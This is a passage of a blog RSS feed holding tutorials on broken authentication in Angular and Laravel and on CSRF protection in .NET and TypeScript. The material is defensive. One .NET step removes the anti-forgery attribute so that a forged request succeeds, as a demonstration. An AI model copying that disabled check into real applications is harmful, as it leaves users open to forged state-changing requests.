  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, if you go back to &lt;b&gt;/login&lt;/b&gt; and press the login button again, you should still see the session ID on the &lt;b&gt;/home&lt;/b&gt; page but it shouldn&amp;#39;t appear in your URL:&lt;/p&gt;&lt;p&gt;You can further improve this implementation by using the global state in your Angular app using NgRX.&lt;/p&gt;&lt;h2&gt;Create Foolproof Authentication&lt;/h2&gt;&lt;p&gt;We&amp;#39;ve seen how session management can help you prevent authentication loopholes. However, there are preventive measures you can implement to reduce the chances of taking damage from Angular broken authentication. The idea is simple: if you create an authentication system that&amp;#39;s foolproof, you&amp;#39;re already preventing future broken authentication loopholes in your application!&lt;/p&gt;&lt;p&gt;First, you should implement password strength validations in their systems. The core functionality will be implemented in the back end, but you may also use client-side libraries like&lt;a href=&quot;https://www.npmjs.com/package/@angular-material-extensions/password-strength&quot;&gt; &lt;u&gt;this&lt;/u&gt;&lt;/a&gt; if you wish to ship this feature faster.&lt;/p&gt;&lt;p&gt;Second, you should also implement an auto sign-out functionality for idle users. This corresponds to use cases where the user forgets to log out from the application as well as close their application window on a public computer.&lt;/p&gt;&lt;p&gt;You can detect if the user is idle for more than a specified amount of time and automatically send a session termination or logout request to the server. Here&amp;#39;s a&lt;a href=&quot;https://www.npmjs.com/package/@ng-idle/core&quot;&gt; &lt;u&gt;library&lt;/u&gt;&lt;/a&gt; in Angular that can come in handy for implementing this.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;The first step to prevent Angular broken authentication is always implementing foolproof authentication. It&amp;#39;s safer and better to implement these on the server side and have your Angular client interact with these services when needed. That&amp;#39;s because front end checks, validations, and barriers are easier to bypass.&lt;/p&gt;&lt;p&gt;You can also check out my other&lt;a href=&quot;https://www.stackhawk.com/blog/react-broken-authentication-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;similar post&lt;/u&gt;&lt;/a&gt; where I talk about broken authentication and how you can prevent it in your React application.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;u&gt;&lt;i&gt;Siddhant&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[.NET CSRF Protection Guide: Examples and How to Enable]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/net-csrf-protection-guide-examples-and-how-to-enable</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Creating an app and putting it out there isn&amp;#39;t a walk in the park, but it&amp;#39;s just the first step in a long—or should I say never-ending?—journey. Now that your app is out the door, you have to worry about a plethora of things. Are there bugs? Is the user experience good enough? What about performance?&lt;/p&gt;&lt;p&gt;Among all of those concerns, there&amp;#39;s probably not a single one more pressing than security. Data has never been as valuable as it is today, and with the popularization of web apps, there has never been so much of it available. This is almost irresistible for malicious actors out there, so you need to ensure your applications remain safe.&lt;/p&gt;&lt;p&gt;This post is another installment in a series in which we cover some of the main security threats and how to prevent them using a variety of languages and frameworks. Today&amp;#39;s combination of security threat and tech stack is .NET CSRF. We&amp;#39;ll open the post by defining CSRF in general. Then, we&amp;#39;ll advance into the specifics of how to prevent it in .NET.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s get started.&lt;/p&gt;&lt;h2&gt;What Is CSRF? Why Should You Care?&lt;/h2&gt;&lt;p&gt;Although we have&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt; &lt;u&gt;a dedicated post about CSRF&lt;/u&gt;&lt;/a&gt; (you should really check it out), we&amp;#39;ll start this post by briefly covering this security threat.&lt;/p&gt;&lt;p&gt;CSRF stands for cross-site request forgery. As the name suggests, this attack consists of an HTTP request sent from across a different site. The &amp;quot;forgery&amp;quot; part means the attack relies on an authenticated user being tricked into executing some malicious code. The code leverages the fact that the user is logged in—and, thus, his or her browser has an authentication cookie—to try and perform some unauthorized task.&lt;/p&gt;&lt;p&gt;A successful CSRF can have dramatic consequences. The malicious actor could gain access to unauthorized information, change the password or other information on the user&amp;#39;s account, and even transfer monetary funds.&lt;/p&gt;&lt;h2&gt;A Basic Example of CSRF&lt;/h2&gt;&lt;p&gt;To understand how CSRF attacks are performed, you must understand that, at first, there&amp;#39;s nothing stopping you from sending an HTTP request anywhere as long as you have the URL.&lt;/p&gt;&lt;p&gt;So, imagine a malicious actor wants to change a date in someone&amp;#39;s account on a website. Let&amp;#39;s say this person knows exactly the URL to send the request to. If they try to do it, their attempt will most likely fail. That&amp;#39;s because the account settings portion of the website requires authentication.&lt;/p&gt;&lt;p&gt;Now, imagine that this malicious actor (I&amp;#39;m getting tired of repeating this; let&amp;#39;s call him Jim)—imagine Jim successfully tricks his foe into clicking a button that sends the request to the website. Here&amp;#39;s the key part: his foe—let&amp;#39;s call him Dwight—is already logged into the website. As such, his browser has a valid cookie, which gets sent along with the request.&lt;/p&gt;&lt;p&gt;If the website doesn&amp;#39;t have protection against CSRF, the damage is done.&lt;/p&gt;&lt;h2&gt;How to Protect Your Application Against CSRF&lt;/h2&gt;&lt;p&gt;A CSRF attack, despite being potentially catastrophic, is an old type of security threat, and most languages/frameworks already feature built-in protection against it. Regardless of tech stack, though, how does protection against CSRF work in practice?&lt;/p&gt;&lt;p&gt;The basic idea is to come up with a way to make requests impossible to predict by including in the request itself some type of information that can&amp;#39;t be forged and changes with every request.&lt;/p&gt;&lt;p&gt;So, defending against CSRF usually relies on a token that&amp;#39;s generated and included as a hidden field in the HTML code of web forms. This value is sent with each request and validated on the server&amp;#39;s side.&lt;/p&gt;&lt;h2&gt;.NET CSRF Protection: How to Use It&lt;/h2&gt;&lt;p&gt;As I said earlier, many languages and frameworks nowadays already come with built-in protection against CSRF attacks, since it&amp;#39;s so common of a threat. Let&amp;#39;s see how to activate it and use it in practice in some different scenarios.&lt;/p&gt;&lt;h3&gt;Requirements&lt;/h3&gt;&lt;p&gt;This tutorial will be fairly simple, but there are some requirements if you want to follow along:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;I&amp;#39;ll assume you&amp;#39;re on Windows.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;You&amp;#39;ll need to install Visual Studio 2022 (&lt;a href=&quot;https://visualstudio.microsoft.com/vs/community/&quot;&gt;&lt;u&gt;download the free Community edition here&lt;/u&gt;&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;You&amp;#39;ll need Postman or a similar tool.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Create a Sample Project&lt;/h3&gt;&lt;p&gt;Using Visual Studio, we&amp;#39;ll start a new web application. Open Visual Studio and click on &lt;b&gt;Create a new project&lt;/b&gt;:&lt;/p&gt;&lt;p&gt;You&amp;#39;ll then see a new screen:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Pick C# as the language.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Choose &amp;quot;All platforms.&amp;quot;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Pick &amp;quot;Web&amp;quot; as the target.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Choose &amp;quot;ASP.NET Core Web App (Model-View-Controller)&amp;quot; as the project template.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Finally, click on &lt;b&gt;Next&lt;/b&gt;. On the next screen, pick a name and location for the project:&lt;/p&gt;&lt;p&gt;You&amp;#39;ll be taken to the last screen. Here, simply leave all options as the defaults and click on &lt;b&gt;Create&lt;/b&gt;:&lt;/p&gt;&lt;h3&gt;Next Step: Adding More Code&lt;/h3&gt;&lt;p&gt;We now have the skeleton of an MVC application. Let&amp;#39;s add a bit of code to it.&lt;/p&gt;&lt;p&gt;First, we&amp;#39;ll create a model. On Solution Explorer, right-click the &lt;b&gt;Models&lt;/b&gt; folder. Then, go to &lt;b&gt;Add&lt;/b&gt;, and then &lt;b&gt;Class&lt;/b&gt;:&lt;/p&gt;&lt;p&gt;Name the class &lt;b&gt;Person&lt;/b&gt; and click on &lt;b&gt;Add&lt;/b&gt;:&lt;/p&gt;&lt;p&gt;Add the following code to the file:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The next step is to use some Visual Studio magic to generate a whole bunch of code. Go back to Solution Explorer, right-click &lt;b&gt;Controllers&lt;/b&gt;, then &lt;b&gt;Add&lt;/b&gt;, then &lt;b&gt;New Scaffolded Item&lt;/b&gt;:&lt;/p&gt;&lt;p&gt;On the new screen, pick &lt;b&gt;MVC Controller with views, using Entity Framework &lt;/b&gt;as the type of item:&lt;/p&gt;&lt;p&gt;Click on &lt;b&gt;Add&lt;/b&gt;. You&amp;#39;ll then be prompted for a few configuration details:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Choose the model class for the generated items. Pick the &lt;b&gt;Person&lt;/b&gt; class you&amp;#39;ve just created.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;You&amp;#39;ll need a data context class. Click on the plus sign next to the selection control to create a new one.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Finally, click on &lt;b&gt;Add&lt;/b&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;After that, Visual Studio will create the controller along with several views. We&amp;#39;ll now add just two tiny changes to the application so we can use an in-memory database. First of all, let&amp;#39;s install a NuGet package. Go to &lt;b&gt;Tools&lt;/b&gt; -&amp;gt; &lt;b&gt;NuGet Package Manager&lt;/b&gt; -&amp;gt; &lt;b&gt;Package Manager Console&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Then, run the following command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Install-Package Microsoft.EntityFrameworkCore.InMemory.&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next, go to Program.cs and add the following line:&lt;/p&gt;&lt;p&gt;&lt;code&gt;builder.Services.AddDbContext&amp;lt;CSRFDemoContext&amp;gt;(options =&amp;gt; options.UseInMemoryDatabase(&amp;quot;demo&amp;quot;)).&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, you can run the application (pressing F5), then go to https://localhost:7271/People, and you&amp;#39;ll see something like this:&lt;/p&gt;&lt;h2&gt;Testing CSRF&lt;/h2&gt;&lt;p&gt;Now let&amp;#39;s test whether it&amp;#39;s possible to send a request from outside the application. With the application running, add a few items. Then, click on &lt;b&gt;Delete&lt;/b&gt; so you can get to the delete page. Identify the ID of the item you&amp;#39;re trying to delete.&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s use Postman. Create a request that sends a post to the endpoint used for deletion. Example:&lt;/p&gt;&lt;p&gt;As you can see, I got a bad request. That&amp;#39;s proof the anti-CSRF facilities are working. Now, let&amp;#39;s deactivate them.&lt;/p&gt;&lt;p&gt;To do that, we just have to go to the &lt;b&gt;PeopleController&lt;/b&gt; class and locate the &lt;b&gt;Delete&lt;/b&gt; method. More specifically, the delete confirmation method:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;As you can see, the method is decorated with a [ValidateAntiForgeryToken] attribute. Comment it out or remove it, and then use Postman to send the request again. This time, you should see a success screen.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;CSRF is one of the most common and pervasive security threats. On the bright side, nowadays it&amp;#39;s common for most major languages/frameworks to come with built-in protection against this kind of attack. C#/.NET is no exception.&lt;/p&gt;&lt;p&gt;Thanks for reading!&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Carlos Schults. &lt;/i&gt;&lt;a href=&quot;https://carlosschults.net&quot;&gt;&lt;u&gt;&lt;i&gt;Carlos&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a consultant and software engineer with experience in desktop, web, and mobile development. Though his primary language is C#, he has experience with a number of languages and platforms. His main interests include automated testing, version control, and code quality.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[TypeScript CSRF Protection Guide: Examples and How to Enable]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/typescript-csrf-protection-guide-examples-and-how-to-enable</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In the security world, CSRF, or cross-site request forgery, is one of the most problematic exploits to mitigate and stop. Not only are these attacks everywhere on the web, but their potential for damage is incalculable. &lt;/p&gt;&lt;p&gt;This article aims to serve as a starting point for JavaScript, TypeScript, and Node.js engineers in CSRF protection. We will briefly present what CSRF is, explore some examples of CSRF attacks, and finally provide some mitigation strategies against them. &lt;/p&gt;&lt;p&gt;It is important to remember that although this article focuses on Node.js development stacks and the examples are written in JavaScript, the basic strategies apply to any technology stack. You are not required to have mastery of Node.js or TypeScript. However, a basic understanding of JavaScript is required.  &lt;/p&gt;&lt;p&gt;If you haven&amp;#39;t dipped your toes in yet, please check out &lt;a href=&quot;https://www.typescriptlang.org/&quot;&gt;&lt;u&gt;this&lt;/u&gt;&lt;/a&gt; site for more information. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s jump right in. &lt;/p&gt;&lt;h2&gt;A Fresh Start With Node.js and TypeScript&lt;/h2&gt;&lt;p&gt;OK, let&amp;#39;s prepare our simple boilerplate project so that you can play around with the code and follow along with this post. &lt;/p&gt;&lt;p&gt;First, make sure to have Node.js installed. You can do this by running the following command in macOS: &lt;/p&gt;&lt;p&gt;&lt;code&gt;curl &amp;quot;https://nodejs.org/dist/latest/node-${VERSION:-$(wget -qO- https://nodejs.org/dist/latest/ | sed -nE &amp;#39;s|.*&amp;gt;node-(.*)\.pkg&amp;lt;/a&amp;gt;.*|\1|p&amp;#39;)}.pkg&amp;quot; &amp;gt; &amp;quot;$HOME/Downloads/node-latest.pkg&amp;quot; &amp;amp;&amp;amp; sudo installer -store -pkg &amp;quot;$HOME/Downloads/node-latest.pkg&amp;quot; -target &amp;quot;/&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Alternatively, you can use Homebrew to install it with the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;brew install nodejs&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you run any other system, you can find further instructions &lt;a href=&quot;https://nodejs.dev/en/download/package-manager&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Now, creating a Node.js project is extremely simple. Just create a folder called &amp;quot;nodejs_typescript_sample&amp;quot; (you can call this folder anything you&amp;#39;d like) and navigate to it. Once inside, create a file called &amp;quot;app.js&amp;quot; (we recommend you call it that) and paste the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Once you&amp;#39;ve done that, you can then go to the terminal and run the code using the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;node app.js&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Visit http://localhost:3000, and you will see a message saying &amp;quot;Hello World.&amp;quot; &lt;/p&gt;&lt;p&gt;Simple, right? &lt;/p&gt;&lt;h2&gt;Clarifying CSRF&lt;/h2&gt;&lt;p&gt;In simple terms, CSRF (also known as XSRF), as the name suggests, is an attack that relies on the user&amp;#39;s privileges by hijacking their session to gain access to their data.  &lt;/p&gt;&lt;p&gt;With this approach, an attacker circumvents the security of our platforms by deceiving the user into submitting a malicious request on their behalf. &lt;/p&gt;&lt;p&gt;CSRF attacks are possible because of two main things. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;First, CSRF attacks exploit the user&amp;#39;s inability to discern whether a legitimate HTML element contains malicious code. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Second, since these attacks come from legitimate users, the mechanisms we designed to protect them do not work. Thus, this allows bad actors to mislead users into sabotaging themselves.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Additionally, bad actors can mask HTML elements and use social engineering tactics through avenues such as chat or emails to a significant effect. And since these exploits seem to come from trusted origins for the average user, this hijacks their trust in the systems they rely on on a day-to-day basis.  &lt;/p&gt;&lt;h2&gt;Examples of CSRF Attacks&lt;/h2&gt;&lt;p&gt;Now, let&amp;#39;s explore how a CSRF attack can hijack a system with the following example.  &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;A user receives an email from a seemingly trusted source. Say an attacker has emulated the format and look of a banking institution and has managed to mask the sender email to look legitimate enough.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Our victim, our non-tech-savvy aunt, sees the email, which conveys with a sense of urgency the need for her to click on a link provided to check on an unusual transaction that the bank has flagged as suspicious.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Our aunt then proceeds to hurriedly oblige and click on the link without verifying the authenticity of its origin. She is then sent to the bank website. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The website is legitimate and shows no sign of foul play. It even displays as secure, and the URL matches the website. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;She then proceeds to either discard the email or call the bank.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Now, countless things could have happened here. For example, when our victim clicked on the malicious link, a targeted URL could have taken advantage of a new authenticated session (or something as simple as just having a tab open while logged in) and executed a change in the database to a vulnerable web application. The possibilities for harm are endless. &lt;/p&gt;&lt;p&gt;Keep in mind that there is much more down the rabbit hole of CSRF. Unfortunately, exploring the intricacies of how it exploits vulnerabilities in the protocols of the web goes outside of the scope of this article.  &lt;/p&gt;&lt;p&gt;However, if you want to dive deeper into the ocean of CSRF and how it works, we recommend reading our sister article explaining it in more detail &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;How to Mitigate CSRF Vulnerabilities in Node.js and TypeScript&lt;/h2&gt;&lt;p&gt;Now that we&amp;#39;ve seen how effortless it is to capture our user&amp;#39;s sessions, let&amp;#39;s explore some mitigating actions against CSRF attacks. &lt;/p&gt;&lt;h3&gt;Routing Structure&lt;/h3&gt;&lt;p&gt;The first thing we need to do is reconsider the design of the routing structure of our site.  &lt;/p&gt;&lt;p&gt;CSRF attacks take advantage of systems that accept GET requests that perform a state change. This pattern is already a terrible practice, and you should avoid them in all scenarios. &lt;/p&gt;&lt;p&gt;Thankfully, addressing this is relatively straightforward in Express. All you need to do is change the route file (usually called &amp;quot;index.js&amp;quot;) and set the application&amp;#39;s action to receive a POST or PUT instead of a GET for state changes.  &lt;/p&gt;&lt;p&gt;This change, of course, ensures that you follow the HTTP protocol guidelines. &lt;/p&gt;&lt;p&gt;&lt;code&gt;//router.get(&amp;#39;/posts/create&amp;#39;, sessionController.validateSession, postsController.postsCreate); 
router.post(&amp;#39;/posts/create&amp;#39;, sessionController.validateSession, postsController.postsCreate);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You will end up with something like the following: &lt;/p&gt;&lt;p&gt;Notice that all state-changing requests are not GET. &lt;/p&gt;&lt;p&gt;Keep in mind that this approach will not protect us from attacks from a form tag submitting a POST automatically by JavaScript. &lt;/p&gt;&lt;p&gt;Further, an attacker can adapt their exploits to work with JavaScript Ajax requests and submit any protocol or parameters necessary to accomplish their goal. &lt;/p&gt;&lt;h3&gt;Action Confirmation&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;It is recommended that all developers&lt;b&gt; implement confirmation mechanisms&lt;/b&gt; into all critical state-changing actions. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;The implementation of a middle step between a submit, requiring the user to confirm their action, significantly reduces the reach of CSRF attacks. &lt;/p&gt;&lt;p&gt;Some users might find this multistep process cumbersome and tedious in systems requiring frequent changes, however, so use it when appropriate. &lt;/p&gt;&lt;p&gt;Design-based security features like these are ubiquitous on essential systems of administration and account management portals.  &lt;/p&gt;&lt;h3&gt;CSRF Token&lt;/h3&gt;&lt;p&gt;Finally, the most potent mitigation policy we can implement is using CSRF tokens to validate every request coming from our clients. &lt;/p&gt;&lt;p&gt;These tokens work by linking the user session to server-generated tokens, which the server validates upon request. &lt;/p&gt;&lt;p&gt;The tokens are present in all forms as hidden fields. So, when the client proceeds to submit the form, it contains a validation voucher that the user intended this action. &lt;/p&gt;&lt;p&gt;To implement CSRF tokens in Node.js, we can use the &amp;quot;&lt;a href=&quot;https://www.npmjs.com/package/csurf&quot;&gt;&lt;u&gt;csurf&lt;/u&gt;&lt;/a&gt;&amp;quot; module for creating and validating tokens. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This change must be applied to the main app.js class file, making it look like the following:&lt;/p&gt;&lt;p&gt;Notice that we added the routing code here, but you can have it in a separate routing class &amp;quot;index.js&amp;quot; file. &lt;/p&gt;&lt;p&gt;Once you have done this, you can modify all your request and response routes to use tokens where needed. &lt;/p&gt;&lt;p&gt;Additionally, you must add the hidden field in all forms in your application.  &lt;/p&gt;&lt;p&gt;Here&amp;#39;s an example of a simple form:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;form action=&amp;quot;/posts/create&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt; 
  &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;_csrf&amp;quot; value=&amp;quot;{{csrfToken}}&amp;quot;&amp;gt; 
  Title: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;title&amp;quot;&amp;gt; 
  Text: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;text&amp;quot;&amp;gt; 
  &amp;lt;button type=&amp;quot;submit&amp;quot;&amp;gt;Submit&amp;lt;/button&amp;gt; 
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And that&amp;#39;s about it. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Sustainable Security&lt;/h2&gt;&lt;p&gt;Implementing and maintaining proper security measures are some of those ethereal values you can appreciate only when needed. But, unfortunately, most teams will have a hard time convincing their superiors of their importance.  &lt;/p&gt;&lt;p&gt;Conversely, sophisticated attacks are becoming more widespread in this day and age. So, it&amp;#39;s difficult not to justify the investment in reassurance and peace of mind provided by adequate security measures. &lt;/p&gt;&lt;p&gt;Thankfully, modern platforms like Node.js make it more available and effortless to keep security standards high. That way, you can focus on what matters: bringing value to your users.  &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Laravel Broken Authentication Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/laravel-broken-authentication-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Broken authentication refers to a group of internet application vulnerabilities that may lead to theft of user sessions. That is to say, in a broken authentication, an attacker attempts to impersonate actual users of a service. Similarly, Laravel broken authentication refers to vulnerabilities that can lead to the theft of user sessions in a Laravel application. &lt;/p&gt;&lt;p&gt;Hackers take advantage of broken authentication using different methods. For example, a hacker can intercept HTTP requests that contain sensitive data over an unsecured protocol. Other methods include exploiting the use of weak passwords and phishing. &lt;/p&gt;&lt;p&gt;Broken authentication is a very serious vulnerability in web applications. According to &lt;a href=&quot;https://owasp.org/&quot;&gt;&lt;u&gt;OWASP&lt;/u&gt;&lt;/a&gt;, &amp;quot;Attackers have access to hundreds of millions of valid username and password combinations for credential stuffing, default administrative account lists, automated brute force, and dictionary attack tools.&amp;quot; Broken authentications in Laravel applications can make your application easy to hack. &lt;/p&gt;&lt;p&gt;In this post, you&amp;#39;ll learn what Laravel broken authentication is and look at examples and possible ways to prevent each vulnerability. In order to understand the topic better, let&amp;#39;s take a look at what sessions and authentication are. We&amp;#39;ll refer to both terms a lot in the rest of the post. &lt;/p&gt;&lt;h2&gt;Meaning of Session and Authentication&lt;/h2&gt;&lt;p&gt;&lt;b&gt;Session&lt;/b&gt; and &lt;b&gt;authentication&lt;/b&gt; are often used together. They’re related, but they mean two different things. Your application may start a session for a user before authentication. &lt;/p&gt;&lt;h3&gt;Session&lt;/h3&gt;&lt;p&gt;A &lt;b&gt;session&lt;/b&gt; identifies a specific user at a given time point or period of time. A new session starts when a user visits a website and the session stays active until they leave. Most websites terminate the current session after a certain time of inactivity. &lt;/p&gt;&lt;p&gt;Usually, a web server assigns a unique ID to each session, known as the session ID. &lt;/p&gt;&lt;h3&gt;Authentication&lt;/h3&gt;&lt;p&gt;A common example of authentication is a login system verifying a username and password combination. Authentication provides users of your web application with a means of identifying themselves. After successful authentication, users can access personalized content. &lt;/p&gt;&lt;p&gt;Laravel comes out-of-the-box with an authentication feature. Developers can choose to use Laravel&amp;#39;s default authentication system or implement their own. Poor implementation of authentication can leave your Laravel application vulnerable to broken authentication. &lt;/p&gt;&lt;h2&gt;Examples of Laravel Broken Authentication&lt;/h2&gt;&lt;p&gt;Now that we know what broken authentication is, let&amp;#39;s take a closer look at Laravel broken authentication, using the following examples: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Session hijacking&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Stolen login credentials&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;1. Session Hijacking&lt;/h3&gt;&lt;p&gt;We can also refer to this type of exploit as &lt;b&gt;session stealing&lt;/b&gt;. It involves an attacker getting hold of a user&amp;#39;s session ID. The attacker can then use the stolen ID to impersonate the user without even knowing their username and password. The stolen session grants direct access to the user’s account. &lt;/p&gt;&lt;p&gt;Hackers use several methods to steal sessions. For example, attackers can steal session IDs from non-HTTPS requests. Another method uses your application&amp;#39;s URL. Some applications include a user&amp;#39;s session ID as a URL parameter. This makes it easier for attackers to steal user sessions. The following is an example of session ID in a URL: &lt;/p&gt;&lt;p&gt;&lt;code&gt;http://example.com/dashboard/?session=xQees8isbf&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;Prevention&lt;/h4&gt;&lt;p&gt;You can prevent or defend your Laravel application against session hijacking by enabling HTTPS for all requests. HTTPS requests are secure and encrypted using &lt;a href=&quot;https://en.wikipedia.org/wiki/Transport_Layer_Security&quot;&gt;&lt;u&gt;TLS&lt;/u&gt;&lt;/a&gt;. As a result, it’s difficult for anyone to steal session IDs during the communication between a client and server.&lt;/p&gt;&lt;p&gt;In case an attacker manages to gain access to a valid session ID, you can still defend against impersonation of a user by implementing some form of verification. For example, you can check if the source of the new request has the same IP address as the original owner of the session. However, this practice can lead to a poor user experience because a user&amp;#39;s IP address can change during active sessions, resulting in false positives. &lt;/p&gt;&lt;p&gt;Also, avoid using values that are easy to predict for the session ID. Session IDs should be unique and hard to guess. Best practices are to generate a new session ID for users once they log in and eliminate session IDs from URLs. &lt;/p&gt;&lt;h3&gt;2. Stolen Login Credentials&lt;/h3&gt;&lt;p&gt;This type of Laravel broken authentication vulnerability involves an attacker getting hold of the actual password and username of the victim. Just like the last example, an attacker can use different methods and tricks to steal user login details. &lt;/p&gt;&lt;p&gt;The use of weak passwords is a common cause of stolen logins. Short passwords are weak and easy for an attacker to predict. For instance &amp;quot;123456&amp;quot;, &amp;quot;password&amp;quot;, and &amp;quot;qwerty&amp;quot; are examples of popular weak passwords. A report by password manager, &lt;a href=&quot;https://nordpass.com/most-common-passwords-list/&quot;&gt;&lt;u&gt;NordPass&lt;/u&gt;&lt;/a&gt; shows &amp;quot;123456&amp;quot; as the most popular password in 2020. &lt;/p&gt;&lt;p&gt;Another cause of stolen login credentials is storing and sending passwords as plain text. Passwords stored as plain text can become easy targets for attackers. Attackers can use other security vulnerabilities, like &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt; to gain access to an entire database of user login credentials. &lt;/p&gt;&lt;p&gt;The third method hackers use is &lt;b&gt;phishing&lt;/b&gt;. Phishing is a very serious cyber-security threat and there&amp;#39;s very little you can do as a developer to defend users against it. In phishing, an attacker tricks users into submitting their username and password on a form the attacker controls. For example, an attacker may send an email to unsuspecting users pretending to be a service they use. Such emails contain a link to the phishing site, and if the user clicks on that link and completes the form, they give away their login details. &lt;/p&gt;&lt;h4&gt;Prevention&lt;/h4&gt;&lt;p&gt;Now, 